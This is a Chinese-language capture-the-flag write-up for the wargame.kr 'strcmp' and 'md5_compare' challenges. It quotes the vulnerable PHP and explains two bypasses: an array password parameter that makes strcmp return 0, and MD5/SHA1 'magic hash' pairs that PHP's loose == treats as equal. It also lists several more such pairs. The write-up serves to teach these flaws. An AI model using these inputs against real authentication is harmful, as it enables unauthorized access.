wargame.kr strcmp 和 md5_compare

wargame.kr strcmp 

if (isset($_GET['view-source'])) {

show_source(__FILE__);

exit();

}else if(isset($_POST['password'])){

sleep(1);// do not brute force!

if (strcmp($_POST['password'],$password) ==0) {

echo"Congratulations! Flag is ".auth_code("strcmp") ."";

exit();

} else {

echo"Wrong password..";

}

}

strcmp 当参数有一个是数组时,会返回0.

因此提交 password[]=1  通关。

---------------------------------------------------------------------------------------------------------------

md5_compare 题目

if (!ctype_alpha($v1)) {$chk=false;}

if (!is_numeric($v2) ) {$chk=false;}

if (md5($v1) !=md5($v2)) {$chk=false;}

if ($chk){

include("../lib.php");

echo"Congratulations! FLAG is : ".auth_code("md5_compare");

} else {

echo"Wrong...";

}

看源码要求,变量1需要为字母类型、变量2需要为数字类型,并且两者MD5值需要相同。答案:240610708 和 QNKCDZO md5值类型相似,但并不相同,在“==”相等操作符的运算下,结果返回了true。那在php中这段操作是如何进行的:类似0e462097431906509019562988736854  这种形式 0e[0-9].*的字符串会被PHP解析器默认解析为 numerical strings类型。在“==”表达式进行字符串比较时,首先会判断类型,如果属于numerical strings 则先强转转换为数字。0e462097431906509019562988736854 =0×10【462097431906509019562988736854】次方 =0

0e83040045199349405802421990339  =0×10【83040045199349405802421990339】次方 =0

最终判断两者相等。


var_dump(md5('240610708') == md5('QNKCDZO'));

var_dump(md5('aabg7XSs') == md5('aabC9RqS'));

var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));

var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

var_dump('0010e2' == '1e3');

var_dump('0x1234Ab' == '1193131');

var_dump('0xABCdef' == ' 0xABCdef');


www.v2ex.com/t/188364

你可能感兴趣的:(wargame.kr strcmp 和 md5_compare)